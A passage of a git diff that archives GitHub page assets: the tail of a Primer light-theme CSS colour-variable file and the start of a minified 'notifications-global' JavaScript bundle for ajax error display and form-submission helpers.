rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 